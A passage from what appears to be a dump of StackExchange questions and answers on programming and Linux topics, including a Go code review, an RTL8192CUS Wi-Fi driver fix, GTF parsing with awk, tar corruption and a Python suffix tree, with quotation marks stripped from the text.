drying)    flag.Parse()    var clean, minClean = *numberOftshirtsPtr, *numberOftshirtsPtr    var dirty, washing, drying int    today, _ := time.Parse(time.RFC3339, 2017-02-06T00:00:00+00:00)    fmt.Println(Date       | C | D | W | Y )    testDays := 365    for i := 0; i < testDays; i++ {        if *dryingPtr {            clean += drying            drying = 0            drying = washing            washing = 0        } else {            clean += washing            washing = 0        }        if clean == 0 {            fmt.Println(Run out of clean shirts!)            break        }        if isWashingDay(today, *thursdayPtr) {            washing = dirty            dirty = 0        }        // take a clean tshirt and wear it - it immediately becomes dirty        clean--        dirty++        if clean < minClean {            minClean = clean        }        fmt.Printf(%s | %d | %d | %d | %d \\n, today.Format(2006-01-02), clean, dirty, washing, drying)        today = today.AddDate(0, 0, 1)    }    fmt.Println(Total days:, testDays)    fmt.Println(Minimum clean shirts:, minClean)}"  , "title": "How many of a particular item of clothing do I need?"  , "tags": "go"  , "accepted_answer": "For a beginner to go your program is good. You have obviously read up on flag handling, and you've got a grasp on the pointers. I have come to like the flag processing in go (though having previously learned/understood getopt and written my own library in Java, I feel like go should allow more powerful commandline handling).FlagsSo, having said you have a good grasp on those concepts, I am going to recommend that you change the flag handling (and as a consequence, you remove the pointers).In addition, you should be putting in the number of days to simulate, and perhaps the starting date, as flags too.So, flag functions include both ...Ptr and ...Var variants. I recommend using the ...Var variants where you can. Your code:numberOftshirtsPtr := flag.Int(shirts, 9, a int number of tshirts)thursdayPtr := flag.Bool(thursday, true, a bool use Thursday)dryingPtr := flag.Bool(drying, true, a bool use drying)flag.Parse()I would write like:numberOftshirts := 9doThursdays := truedoDrying := trueflag.IntVar(&numberOftshirts, shirts, numberOftshirts, the number of tshirts)flag.BoolVar(&doThursdays, thursday, doThursdays, use Thursday)flag.BoolVar(&doDrying, drying, doDrying, use drying)flag.Parse()By taking the address of the var and giving it to flag, we can then use the variables as-is later without having to keep the pointer handling at all, so code like:var clean, minClean = *numberOftshirtsPtr, *numberOftshirtsPtrbecomes:var clean, minClean = numberOftshirts, numberOftshirtsNote that, by convention, using hungarian notation in go is not good code-style. You should not suffix pointer variables with Ptr. A pointer to an int containing the number of T-Shirts is still numberOftshirts and not numberOftshirtsPtrOK, so the above code changes the flag handling to be Var-based, and it reads easier, and removes all pointer references later.I would also add flags for the starting date, and number of days to simulate.Washing DayYour washingday function is a good idea, but you are doing string processing in places where the time library has better options to offer. Note that time has constantes for the days-of-week, and those constants are declared as a Weekday type, and that type has a String() function available: https://golang.org/pkg/time/#Weekday - what this means is that you can avoid the string-conversions in the function. I personally would probably use the String() option too to print the days. Actually, I would remove the println from the function because it is making the function do too much - (computation and presentation). I would have your function as:func isWashingDay(today time.Time, doThursday bool) bool {    if today.Weekday() == time.Monday {        //fmt.Printf(%v!\\n, time.Monday)        return true    }    if doThursday && today.Weekday() == time.Thursday {        _, week := today.ISOWeek()        if even(week) {            //fmt.Printf(%v!\\n, time.Thursday)            return true        }    }    return false}Note that I no longer have any raw text in there (it's all time variables, etc), and also note that I no longer have if ... else ... statements. When the if part of a condition always has a return in it, there's no need for the else at all.MainYour program is essentially contained inside the main-method. This makes the main method bulky, and the code is not reusable. Even in example progams and learning exercises, you should try to break your code in to functions that can be run, and tested independently. Go has a strong toolset related to unit-tests and benchmarks, and you should get in the habit of creating small, independent functions that are easy to process in the testing systems too.One way to improve the bulkiness of the main method is to declare a struct to contain the state of a given day. You can get clever with some function processing too. I would create a state struct, and use it for a bunch of the logic....type ClothesState struct {    day     time.Time    clean   int    dirty   int    washing int    drying  int}In addition, to separate out your printing of the state, I would create a bit of a string helper function... I'll explain it later, but show you here, now:func format(day, clean, dirty, washing, drying interface{}) string {    return fmt.Sprintf(%-11v| %-2v| %-2v| %-2v| %2-v, day, clean, dirty, washing, drying)}With this function, we can add a String() method to our state too that uses it:func (cs ClothesState) String() string {    return format(cs.day.Format(2006-01-02), cs.clean, cs.dirty, cs.washing, cs.drying)}Now we can use the %v (or %s) style fmt to print the state:fmt.Printf(%v\\n, state)Further, I would take the state-tansition logic and make it a method on the struct too:func (cs ClothesState) Advance(doDrying, doThursdays bool) ClothesState {    tomorrow := cs.day.AddDate(0, 0, 1)    clean := cs.clean    clean += cs.drying    drying := cs.washing    if !doDrying {        // take all the drying directly in to clean        clean += drying        drying = 0    }    washing := 0    dirty := cs.dirty    if isWashingDay(tomorrow, doThursdays) {        washing = dirty        dirty = 0    }    clean--    dirty++    return ClothesState{        day:     tomorrow,        clean:   clean,        dirty:   dirty,        washing: washing,        drying:  drying,    }}Now you have an immutable state struct that you can then advance through the daily logic. Each advance returns a new state.ConclusionYou've made a great start in to Go. I encourage the use of structs to localize logic, the use of smaller, single-purpose functions, and separating the presentation code (printlns) from the calculation code.I have taken your code and re-worked it in a way I would consider an improvement, and I have tweaked the starting state to match your logic (and also kept the println statements in the isWashingDay so that it matches the output of your program.Have a look, and see how the logic is separated, how the flags are used, and so on: https://play.golang.org/p/B62HmIoxNcpackage mainimport (    flag    fmt    time)func even(number int) bool {    return number%2 == 0}func isWashingDay(today time.Time, doThursday bool) bool {    if today.Weekday() == time.Monday {        fmt.Printf(%v!\\n, time.Monday)        return true    }    if doThursday && today.Weekday() == time.Thursday {        _, week := today.ISOWeek()        if even(week) {            fmt.Printf(%v!\\n, time.Thursday)            return true        }    }    return false}func format(day, clean, dirty, washing, drying interface{}) string {    return fmt.Sprintf(%-11v| %-2v| %-2v| %-2v| %-2v, day, clean, dirty, washing, drying)}type ClothesState struct {    day     time.Time    clean   int    dirty   int    washing int    drying  int}func (cs ClothesState) String() string {    return format(cs.day.Format(2006-01-02), cs.clean, cs.dirty, cs.washing, cs.drying)}func (cs ClothesState) Advance(doDrying, doThursdays bool) ClothesState {    tomorrow := cs.day.AddDate(0, 0, 1)    clean := cs.clean    clean += cs.drying    drying := cs.washing    if !doDrying {        // take all the drying directly in to clean        clean += drying        drying = 0    }    washing := 0    dirty := cs.dirty    if isWashingDay(tomorrow, doThursdays) {        washing = dirty        dirty = 0    }    clean--    dirty++    return ClothesState{        day:     tomorrow,        clean:   clean,        dirty:   dirty,        washing: washing,        drying:  drying,    }}func main() {    numberOftshirts := 9    doThursdays := true    doDrying := true    flag.IntVar(&numberOftshirts, shirts, numberOftshirts, the number of tshirts)    flag.BoolVar(&doThursdays, thursday, doThursdays, use Thursday)    flag.BoolVar(&doDrying, drying, doDrying, use drying)    flag.Parse()    today, _ := time.Parse(time.RFC3339, 2017-02-06T00:00:00+00:00)    // Set the state with 1 dirty shirt to match OP logic    state := ClothesState{        day:   today,        clean: numberOftshirts - 1,        dirty: 1,    }    minClean := state.clean    fmt.Println(format(Date, C, D, W, Y))    fmt.Printf(%v\\n, state)    testDays := 365    for i := 0; i < testDays; i++ {        state = state.Advance(doDrying, doThursdays)        fmt.Printf(%v\\n, state)        if state.clean < minClean {            minClean = state.clean        }    }    fmt.Println(Total days:, testDays)    fmt.Println(Minimum clean shirts:, minClean)}"  } 
{  "id": "_unix.325723"  , "question": "I successfully migrated from Thunderbird to Evolution, including all my contacts.  However, the Contact lists or Mailing lists I created in Thunderbird have not migrated. By Contact lists or Mailing lists, I mean that out of the thousands of contacts I successfully migrated, I had created groups of them in Thunderbird.  For instance, I could simply type 'family' in the to: field and all the members of my family would expand.I doubt that the migrating Contact lists feature exists, but I ask, in case I missed something."  , "title": "Migrate Contact lists from Thunderbird to Evolution"  , "tags": "thunderbird;migration;evolution"  } 
{  "id": "_cs.64424"  , "question": "Which of the choices displayed is not a possible order in which Depth-First search could mark the vertices of the graph displayed as visited ?"  , "title": "Which of the choices displayed is not a possible order in which Depth-First search could mark the vertices of the graph displayed as visited?"  , "tags": "algorithms;algorithm analysis"  } 
{  "id": "_softwareengineering.279850"  , "question": "I have a hard time understanding #3 and #8 of Lehman's Laws of Software Evolution. The laws are:(1974) Self Regulation  E-type system evolution processes are self-regulating with the distribution of product and process measures close to normaland (1996) Feedback System (first stated 1974, formalised as law 1996)  E-type evolution processes constitute multi-level, multi-loop, multi-agent feedback systems and must be treated as such to achieve significant improvement over any reasonable baseThe rest of the laws are clear to me. Could someone explain these two laws?"  , "title": "Explanation of two of Lehman's Laws of Software Evolution"  , "tags": "maintenance;software evaluation"  , "accepted_answer": "After talking to a professor at my university, and using the information provided by Ilyas Mohamed and Boris Eetgerink (I will +rep as soon as I recieve 15 rep myself), this is what I have concluded:Law 3 specifies that the growth of the system will follow the normal distribution curve. This means that the growth will be slower in the beginning and end of the life cycle compared to in the middle. Law 8 states that software evolution is a complex process where feedback shall be collected from multiple sources (users, managers, runtime environment, application domain, etc.) to achieve significant improvement during the evolution process. The following link is a pdf which contains alternate explanations for each of the eight laws: http://www.engr.uvic.ca/~seng371/lectures/L12-371-S13-bw.pdf"  } 
{  "id": "_unix.94439"  , "question": "The problem concerns a driver support regression for the RTL8192CUS WLAN chip under antiX 13.1, a Debian Wheezy (stable) based distribution.The chip actually resides in a Edimax EW-7811Un 802.11n wireless adapter.First, here is some general system information.$ inxi -FSystem:    Host: 4000cdt Kernel: 3.7.10-antix.3-486-smp i686 (32 bit)            Desktop: IceWM 1.3.7 Distro: antiX-13.1_386-full Luddite 19 June 2013Machine:   No /sys/class/dmi, using dmidecode: you must be root to run dmidecodeCPU:       Single core Pentium II (Deschutes) (-UP-) cache: 512 KB flags: (pae) clocked at 233.275 MHz Graphics:  Card: Chips and F65555 HiQVPro X.Org: 1.12.4 drivers: chips (unloaded: fbdev,vesa) Resolution: 800x600@60.0hz            GLX Renderer: Gallium 0.4 on softpipe GLX Version: 2.1 Mesa 8.0.5Network:   Card: Edimax EW-7811Un 802.11n Wireless Adapter [Realtek RTL8188CUS]            IF: N/A state: N/A mac: N/ADrives:    HDD Total Size: 40.0GB (8.7% used) 1: id: /dev/sda model: TOSHIBA_MK4032GA size: 40.0GB Partition: ID: / size: 9.9G used: 3.0G (32%) fs: ext4 ID: /home size: 25G used: 284M (2%) fs: ext4            ID: swap-1 size: 2.15GB used: 0.00GB (0%) fs: swap Sensors:   System Temperatures: cpu: 71.0C mobo: N/A            Fan Speeds (in rpm): cpu: N/A Info:      Processes: 88 Uptime: 2:57 Memory: 72.4/151.4MB Client: Shell (bash) inxi: 1.9.9 During booting, the following errors appear on the screen, caused while executing the /etc/network/if-pre-up.d/linux-wlan-ng-pre-up script:FATAL: Module p80211 not found./etc/network/if-pre-up.d/linux-wlan-ng-pre-upFailed to load p80211.ko.Listening on LPF/wlan0/00:1f:1f:bf:45:7aSending on   LPF/wlan0/00:1f:1f:bf:45:7aSending on   Socket/fallbackDHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 7DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 10DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 14DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 17DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 13No DHCPOFFERS received.No working leases in persistent database - sleeping.The error messages can be reproduced by issuing respectively the sudo modprobe p80211 and sudo dhclient -v wlan0 commands.The following modules are loaded:$ lsmodModule                  Size  Used bymperf                    870  0 cpufreq_stats           2600  0 cpufreq_powersave        575  0 cpufreq_conservative     3562  0 ppdev                   4124  0 lp                      6127  0 uinput                  5093  1 nfsd                  156046  2 auth_rpcgss            19755  1 nfsdnfs_acl                 1576  1 nfsdnfs                    88586  0 lockd                  42731  2 nfs,nfsdfscache                21695  1 nfssunrpc                122417  6 nfs,nfsd,auth_rpcgss,lockd,nfs_aclaf_packet              19031  6 dm_crypt               10846  0 arc4                    1400  2 rtl8192cu              45534  0 rtlwifi                43564  1 rtl8192curtl8192c_common        23999  1 rtl8192cumac80211              192647  3 rtlwifi,rtl8192c_common,rtl8192cucfg80211              123731  2 mac80211,rtlwifimicrocode               8484  0 evdev                   6815  10 mac_hid                 2214  0 psmouse                52159  0 pcspkr                  1273  0 serio_raw               3177  0 i2c_piix4               6769  0 toshiba_acpi           10065  0 sparse_keymap           1937  1 toshiba_acpiparport_pc             23969  1 rfkill                 10599  3 cfg80211,toshiba_acpiparport                21942  3 lp,ppdev,parport_pcwmi                     6240  1 toshiba_acpipcmcia                 24870  0 battery                 5391  0 yenta_socket           15802  0 ac                      1753  0 pcmcia_rsrc             5995  1 yenta_socketpcmcia_core             8446  3 pcmcia,pcmcia_rsrc,yenta_socketprocessor              23837  1 button                  3513  0 btrfs                 555574  0 zlib_deflate           15207  1 btrfsdm_mod                 51354  1 dm_cryptfloppy                 41663  0 fan                     1818  0 thermal                 6606  0 thermal_sys            10423  3 fan,thermal,processorProof that this is not an authentication issue:$ sudo cat /var/log/dmesg |grep wlan0[   36.321107] IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not ready[   38.921480] wlan0: authenticate with 00:xx:xx:xx:xx:xx[   38.971473] wlan0: send auth to 00:xx:xx:xx:xx:xx (try 1/3)[   38.996892] wlan0: authenticated[   39.000218] wlan0: associate with 00:xx:xx:xx:xx:xx (try 1/3)[   39.055578] wlan0: RX AssocResp from 00:xx:xx:xx:xx:xx (capab=0x411 status=0 aid=2)[   39.056549] wlan0: associated[   39.056781] IPv6: ADDRCONF(NETDEV_CHANGE): wlan0: link becomes ready[   49.062856] wlan0: disassociating from 00:xx:xx:xx:xx:xx by local choice (reason=3)[   49.086100] wlan0: deauthenticating from 00:xx:xx:xx:xx:xx by local choice (reason=3)[   50.431396] wlan0: authenticate with 00:xx:xx:xx:xx:xx[   50.481575] wlan0: send auth to 00:xx:xx:xx:xx:xx (try 1/3)[   50.684150] wlan0: send auth to 00:xx:xx:xx:xx:xx (try 2/3)[   50.888146] wlan0: send auth to 00:xx:xx:xx:xx:xx (try 3/3)[   51.092212] wlan0: authentication with 00:xx:xx:xx:xx:xx timed out$ sudo iwconfigwlan0     IEEE 802.11bgn  ESSID:off/any            Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm             Retry  long limit:7   RTS thr=2347 B   Fragment thr:off          Encryption key:off          Power Management:offlo        no wireless extensions.I already tried:Installing the Linux driver from the Realtek site whilst uninstalling the linux-wlan-ng package and blacklisting the kernel's rtl8192cu module (what worked before with antiX 12M), andGiving ipv6.disable=1 as a grub boot parameter to the kernel.QuestionsWhy can the p80211 module not be found in a distribution that is supposed to be based on Debian Wheezy stable?How do I get DHCP working for this wireless adapter?"  , "title": "FATAL: Module p80211 not found. RTL8192CUS WLAN regression under antiX 13.1 (Debian Wheezy)"  , "tags": "drivers;kernel modules;wifi;dhcp;wlan"  , "accepted_answer": "FATAL: Module p80211 not found. is usually an indication that the provided driver is outdated for the used kernel.Moreover, current version 3.4.4_4749.20121105 of Realtek's driver will not compile with the latest Linux kernels. The solution consist in installing a downgraded kernel, compiling Realtek's driver on it and blacklisting the driver provided by the downgraded kernel.Press Ctrl+Alt+F1 to obtain a command line outside the display manager.Execute the smxi.sh script that comes packed with Antix.sudo smxiFor other GNU/Linux distributions, download the script from smxi.org. Follow the instructions. A dist-upgrade is not always necessary.Choose: 6) kernel-options > 1) alternate-kernel-installKernel 3.6.0-11.dmz.1-liquorix-686 or lower work, kernel 3.7.0-10.dmz.1-liquorix-686 and higher do not. The latest stable kernel with long-term support that does work is 3.4.0-35.dmz.1-liquorix-686.Be sure to reboot into the new kernel before proceeding.This kernel can be made to boot by default; simply edit...sudo nano /boot/grub/menu.lstDownload the RTL8192CUS Linux driver from Realtek's web site.Extract the driver. Then, save below bash script as setup.sh in the same directory as install.sh. (I got this script from Schoelje of SolydXK-distro fame.)#!/bin/bashif [ $UID -ne 0 ]; then  echo Please, type the root password...  su -c $0 $@  exitfiapt-get install linux-headers-`uname -r`apt-get install build-essentialrmmod rtl8192cuchmod +x install.sh./install.shecho blacklist rtl8192cu > /etc/modprobe.d/blacklist-rtl8192cu.confecho 8192cu >> /etc/modulesMake the script executable and execute it.chmod +x setup.sh./setup.shAfter succesfull completion of the script, issuesudo service network restartYour RTL8192CUS wireless adapter should now function properly.Use the Wicd application to connect to a wireless network.If always the same WLAN is used, one can also hardcode the security credentials in as follows:sudo chmod 600 /etc/network/interfacessudo nano /etc/network/interfaces# interfaces(5) file used by ifup(8) and ifdown(8)auto loiface lo inet loopbackallow-hotplug eth0iface eth0 inet dhcpauto wlan0iface wlan0 inet dhcp    wpa-ssid xxxxxxxxxxx    wpa-psk xxxxxxxxxxxx"  } 
{  "id": "_webmaster.84551"  , "question": "My Search Console (Webmaster Tools) account shows 343 web pages submitted but only 132 indexed. The actual number of posts on my blog are 138. What should I do?I am also getting 179 not found errors; what should I do about those errors?Any help regarding these issues would be appreciated a lot. Thanks!"  , "title": "Search Console shows 343 web pages submitted but only 132 indexed"  , "tags": "google search console;indexing"  } 
{  "id": "_cs.55754"  , "question": "Find the language generated by the following grammar over the input alphabet  = {a,b}.S > aSa | bSb | a | b  The language generated by the above grammar over the alphabet {a,b} is the set of(A) All palindromes(B) All odd length palindromes.(C) Strings that begin and end with the same symbol(D) All even length palindromesthe ans is b. i want to know the language for the grammar"  , "title": "odd length palindrome's f=language"  , "tags": "formal languages;context free;formal grammars"  } 
{  "id": "_webmaster.11835"  , "question": "I added a Google Custom Search to my website several weeks ago, and it has been unable to find anything other than the home page of my site.I have manually submitted a sitemap to the custom search, and to the webmaster tools (which for some the custom search can't find, but it says I should add one).I understand there are not a lot of details here, but I don't have much to go on. I've double checked my robots.txt, there's nothing there that's preventing the indexing of my pages.EDIT: Actually, does the google custom search work any differently than a regular google search? I assumed that it indexed separate from the regular google search, but I guess it's possible that both a google custom search and the normal google search draw from the same pool of pages. In that case the only way to get custom search to find my pages is to get Google to crawl them...which pretty much makes the custom search useless if it can't find the most recent things I've posted. "  , "title": "Google Custom Search can't find anything other than the main page"  , "tags": "google custom search"  } 
{  "id": "_unix.12038"  , "question": "Is it possible to highlight (set a background colour) for the whole line of the prompt in zsh? In my emacs config I have the line on which the cursor sits a slightly different colour to the window background, which is a great visual aid. I'm wondering whether it's possible to do the same in my terminal/zsh prompt, so that it effectivly draws a line under everthing that's been run.I've tried setting PROMPT='%{$bg[grey]%}# ' in my .zshrc but the highlight only extends as far as I type, not to the edge of the terminal.Is what I'm trying to achieve possible?"  , "title": "Can I highlight the current prompt line in zsh?"  , "tags": "zsh;prompt;colors"  } 
{  "id": "_opensource.666"  , "question": "Many FOSS projects start out without a Contributor License Agreement (CLA). Many, if they become large and successful, will want to transition to system based on CLAs. But what about if they can't track down all of the old contributors? I can think of three possibilities:They can continue without the contributors signing the CLA and proceed to change the license etc with the hope that the contributors will be found in the futureThey can rewrite all code contributed by themThey can keep the existing license until all contributors have signed their CLAsIs the first option possible or do such projects need to choose between the second and third?"  , "title": "What can you do if you can't track down all old contributors to sign a CLA?"  , "tags": "project management;contributor agreements"  } 
{  "id": "_unix.364801"  , "question": "I have a large GTF file, like below: # ./stringtie -p 4 -G /home/humangenome_hg19/homo_gtf_file.gtf -o strAD1_as/transcripts.gtf -l strAD1 /home/software/star-2.5.2b/bin/Linux_x86_64/mapA1Aligned.sortedByCoord.out.bam                               # StringTie version 1.3.2d                              1   StringTie   transcript  30267   31109   1000    +   .   gene_id strAD1.1; transcript_id strAD1.1.1; reference_id ENST00000469289; ref_gene_id ENSG00000243485; ref_gene_name MIR1302-10; cov 0.028725; FPKM 0.053510; TPM 0.109957;1   StringTie   exon    30267   30667   1000    +   .   gene_id strAD1.1; transcript_id strAD1.1.1; exon_number 1; reference_id ENST00000469289; ref_gene_id ENSG00000243485; ref_gene_name MIR1302-10; cov 0.014218;1   StringTie   exon    30976   31109   1000    +   .   gene_id strAD1.1; transcript_id strAD1.1.1; exon_number 2; reference_id ENST00000469289; ref_gene_id ENSG00000243485; ref_gene_name MIR1302-10; cov 0.072139;I want to have the 9th column with just gene_id, transcript_id, reference_id and ref_gene_id. They are in the 9th column and separated by space (the columns themselves are TAB-separated). Could you please help me out how I can such a column with a simple command in Linux? I don't want to use Excel for it."  , "title": "Extracting quoted and labelled data from a given column"  , "tags": "text processing;bioinformatics;table"  , "accepted_answer": "Ideally, since the data is in GTF format, one should use a GTF parser to parse it.  I currently have no such parser or parsing library installed so my solution is based solely on the data that you have provided in the question.To extract the 9th column:$ cut -f 9 data.gtfgene_id strAD1.1; transcript_id strAD1.1.1; reference_id ENST00000469289; ref_gene_id ENSG00000243485; ref_gene_name MIR1302-10; cov 0.028725; FPKM 0.053510; TPM 0.109957;gene_id strAD1.1; transcript_id strAD1.1.1; exon_number 1; reference_id ENST00000469289; ref_gene_id ENSG00000243485; ref_gene_name MIR1302-10; cov 0.014218;gene_id strAD1.1; transcript_id strAD1.1.1; exon_number 2; reference_id ENST00000469289; ref_gene_id ENSG00000243485; ref_gene_name MIR1302-10; cov 0.072139;To get the data that we want from this, we need to treat transcripts and exons separately as their attributes have different order in the data. We do this with awk and output different fields in the input data depending on whether the current line contains the string exon_number or not:$ cut -f 9 data.gtf | awk '/exon_number/ { print $2, $4, $8, $10; next } { print $2, $4, $6, $8 }'strAD1.1; strAD1.1.1; ENST00000469289; ENSG00000243485;strAD1.1; strAD1.1.1; ENST00000469289; ENSG00000243485;strAD1.1; strAD1.1.1; ENST00000469289; ENSG00000243485;Then we remove the double quotes and semicolons from this:$ cut -f 9 data.gtf | awk '/exon_number/ { print $2, $4, $8, $10; next } { print $2, $4, $6, $8 }' | tr -d ';'strAD1.1 strAD1.1.1 ENST00000469289 ENSG00000243485strAD1.1 strAD1.1.1 ENST00000469289 ENSG00000243485strAD1.1 strAD1.1.1 ENST00000469289 ENSG00000243485"  } 
{  "id": "_unix.366231"  , "question": "How to debug this? This issue has suddently appeared within the last couple of days.. All backups of a website are corruptedIf the backup is just left as tar there are no problems, but as soon the tar is compressed as gz or xz I can't uncompress themThere is alot of free diskLocal disk space    2.68 TB total / 2.26 TB free / 432.46 GB usederrortar: Skipping to next header[===============================>                                                    ] 39% ETA 0:01:14tar: A lone zero block at 2291466===============================>                                                ] 44% ETA 0:01:13tar: Exiting with failure status due to previous errors 878MiB 0:00:58 [15.1MiB/s] [===================================>                                                ] 44%And why does it say Skipping to next header? It has never done that before.. Something is terribly wrong the some of the filesThere are about 15k pdf, jpg or png files in the directoriescommandpv $backup_file | tar -izxf - -C $import_dirThere must be some data that corrupts the compressionHave also tried to check the HDD health by doing this# getting the driveslsblk -dpno namesmartctl -H /dev/sdasmartctl -H /dev/sdbOn both drives I get this=== START OF READ SMART DATA SECTION ===SMART overall-health self-assessment test result: PASSEDHow can I find out which files that are corrupting the tar.gz? I just want to delete themupdateHave now copied all files to another server and I have the exact same issue.. I can tar everything and extract it without problems, but as soon I want to compress the files I can't uncompress them (gz/xz)."  , "title": "How to debug: tar: A lone zero block"  , "tags": "debian;tar;corruption"  , "accepted_answer": "Your file is either truncated or corrupted, so xz can't get to the end of the data. tar complains because the archive stops in the middle, which is logical since xz didn't manage to read the whole data.Run the following commands to check where the problem is:cat /var/www/bak/db/2017-05-20-1200_mysql.tar.xz >/dev/nullxzcat /var/www/bak/db/2017-05-20-1200_mysql.tar.xz >/dev/nullIf cat complains then the file is corrupted on the disk and the operating system detected the corruption. Check the kernel logs for more information; usually the disk needs to be replaced at this point. If only xz complains then the OS didn't detect any corruption but the file is nevertheless not valid (either corrupted or truncated). Either way, you aren't going to be able to recover this file. You'll need to get it back from your offline backups."  } 
{  "id": "_unix.111416"  , "question": "I did a fresh installation of Fedora 20 in the free space of my hard drive after failing to upgrade from the older version. Everything seems to be working fine until I deleted the partition containing the older version to free up some space. Upon restarting the computer, I got the following message after waiting for a long time:Warning: Could not bootWarning: /dev/fedora_old/swap does not existStarting Dracut Emergency ShellI am still able to boot if I type exit on dracut prompt. But, that does not solve the root of the problem. There are a few suggestions on the web proposing:dracut --force --regenerate-allI am not sure what it does exactly and it doesn't seem to resolve the problem. What is the proper way to sort out the swap partition? It seems that the swap for the older OS was being used when the new OS is being installed despite it having its own swap partition.And how could I avoid such a problem in the future?This is what I have for /etc/fstab:/dev/mapper/fedora_new-root00 /          ext4    defaults                   1 1UUID=somehexdec               /boot      ext4    defaults                   1 2UUID=someotherhexdec          /boot/efi  vfat    umask=0077,shortname=winnt 0 0/dev/mapper/fedora_new-home00 /home      ext4    defaults                   1 2/dev/mapper/fedora_new-swap   swap       swap    defaults                   0 0"  , "title": "How to recover from a boot hang after deleting old swap?"  , "tags": "fedora;boot;partition;swap;lvm"  , "accepted_answer": "It seems that manually editing out the parameter containing rd.lvm.lv=fedora_old/swap in the grub configuration file does the trick. There is no need to run dracut or reinstall grub at all.# vi /boot/efi/EFI/fedora/grub.cfgSearch for the following line under the menu entry which you will be booting from:linuxefi /vmlinuz-3.12.x-xxx.fc20.x86_64  root=/dev/mapper/fedora_new-root00 ro rd.lvm.lv=fedora_old/swap  rd.lvm.lv=fedora_new/swap vconsole.font=....To make sure the above changes stick, do the same for /etc/default/grub:GRUB_CMDLINE_LINUX=rd.lvm.lv=fedora_old/swap rd.lvm.lv=fedora_new/swap  vconsole.font=...Please provide an answer or leave a comment if this method is wrong."  } 
{  "id": "_softwareengineering.164903"  , "question": "I have noticed that Play! Framework encompasses persistence strategy (like JPA etc...)Why would a web framework care about persistence ?!Indeed, this would be the job of the server-sides components (like EJB etc...), wouldn't this?Otherwise, client would be too coupled with server's business logic.UPDATE: One answer would be : it's more likely used for simple application including itself the whole business logics. However, for large applications with well-designed layers(services, domain, DAO's etc..), persistence is not recommended within web client layer since there would be several different web(or not) clients."  , "title": "Web Frameworks caring about persistence?"  , "tags": "java;web applications;web framework;playframework"  , "accepted_answer": "If the framework is used as part of an application that involves a database back-end, then it may be useful to have persistence of the data in a form that doesn't require the physical database.For example, I can remember a previous workplace that used Fluent nHibernate as the ORM tool that would be used translate database tables to objects.  This would be one example.Given that Play! is built in Java, it would appear to be a server-side component thus making that 3rd line add little value to the question, IMO.To elaborate a bit more, I see a few pieces together and this is where persistence plays a role:The system has a Web UI component that makes web pages for the user.The system has a database component where stuff is stored where various CRUD operations are performed.There is the desire to test components independently of each other.Thus, to test the Web UI component without having the database requires one to construct something to mimic being the database which is what the persistence piece usually is."  } 
{  "id": "_webapps.9531"  , "question": "There's been some news recently that Google Apps accounts, having previously been not quite as full-featured as regular Google accounts, are being upgraded to included additional services (e.g. Reader) that were only available to regular accounts.Aside from the change in the service offerings, are there any other noticeable changes?Edit: more specifically, if I have my own Google Apps account, is there anything on a regular Google account not offered with an Apps account?"  , "title": "How does a Google Apps account differ from a Google account?"  , "tags": "google apps;google account"  , "accepted_answer": "Google Apps for your domain is basically the same, but for a custom domain. You buy your domain, point the MX records for your domain to the google servers and you can send and receive email through gmail etc (as an example)It used to be just gmail, docs, calendar, gtalk and a couple of other apps that you could access through your google apps account, but now they've released a whole lot more.See http://googleenterprise.blogspot.com/2010/11/ten-times-more-applications-for-google.html for more details"  } 
{  "id": "_codereview.83437"  , "question": "I am trying to find the longest repeated string in text with python, both quickly and space efficiently.  I created an implementation of a suffix tree in order to make the processing fast, but the code fails on large files due to memory problems.I am purposely not using any advanced libraries for this particular code.  import stringimport sysclass SuffixTree(object):    class Node(object):         The suffix tree is made of Node objects, which contain            a position of where that substring it represents is            in the larger text, a suffix which is all of the un-matched            characters of a substring, and a out which contains links            to the other nodes                def __init__(self, position, suffix):            self.position = position            self.suffix = suffix            self.out = {}    def __init__(self, text):         the constructor for the SuffixTree takes in the text         self.text = text        self.max_repeat = 2              # setting this to 2 initially because repeats of length 1 are not interesting        self.repeats = {}                # dictionary to hold the repeats as we find them        self.root = self.Node(None, '')  # initialize a root node        L = len(self.text)               # calculate the length of the text         Loop through the range of the text        test = {}        for i in xrange(L, 0, -1):            try:                self.branch(self.root, self.text[i-1:] + $, i-1, 0)            except MemoryError:                print Memory Error at the  + str(i) + th iteration!                return    def printRepeats(self):         printRepeats simply finds the maximum repeat of the repeats we collected while building the tree            and then prints out the information.  It should be noted that currently if there are more than one            repeated sequence which are both of the same maximum length, this function is only going to print             out one of them             Also I am going in and changing the positions to be the biological positions by adding one         max_repeat = max(self.repeats.iterkeys(), key=len)        print Max repeat is, len(max_repeat), :, max_repeat, at locations:,        for position in self.repeats[max_repeat]:            print position+1,        print    def branch(self, currNode, substring, pos, repeat):         branch function takes a particular substring, and starts at the current node (the root node)            it checks to see if the current node contains a link to another node with the value of the            substring's first letter.  If it does, it sets current node equal to THAT node and repeats            the process recursively.  If a node has a suffix (leftovers that weren't needed to be matched)            then it will create a new node based on the first letter in that suffix and attempt to see            if it now has a branch it can follow.  When eventually it finds a location where it can get            no deeper, it saves the current leftover letters as that node's suffix and returns recursively            back to the main execution point (our constructor function).              Additionally while it is creating this branch, we are simultaneously creating the repeat            information which we want to gather.  To do this, when it finds that it can no longer traverse            down the node tree it will have maintained a count (variable called repeat) of how deep it has gone            it will then save the position of where it stared as well as the positions of all of the adjacent            level nodes into the repeat dictionary.  It will only do this however if the length of the repeat            is longer than or equal to the maximum recorded repeat.  So for instance if we had found a repeat            of length 3, it isn't going to bother saving any information about a repeat of position 2.                # check if the current node has leftover letters (called a suffix) if so, create a new branch        if currNode.suffix != '':            currNode.out[currNode.suffix[0]] = self.Node(currNode.position, currNode.suffix[1:])            currNode.suffix = ''            currNode.position = None        # if there is no more paths that we can follow            while substring[repeat] in currNode.out:            currNode = currNode.out[substring[repeat]]            # check if the current node has leftover letters (called a suffix) if so, create a new branch            if currNode.suffix != '':                currNode.out[currNode.suffix[0]] = self.Node(currNode.position, currNode.suffix[1:])                currNode.suffix = ''                currNode.position = None            repeat += 1            #substring = substring[1:]        else:            # create a new node with its first letter, position, and put the rest of the letters in the suffix            currNode.out[substring[repeat]] = self.Node(pos, buffer(substring,repeat+1))            # check to see if the length of this repeat is >= the biggest ones we've found so far            if repeat >= self.max_repeat:                # go through each node at this branch and save its info to the repeat dictionary                for node in 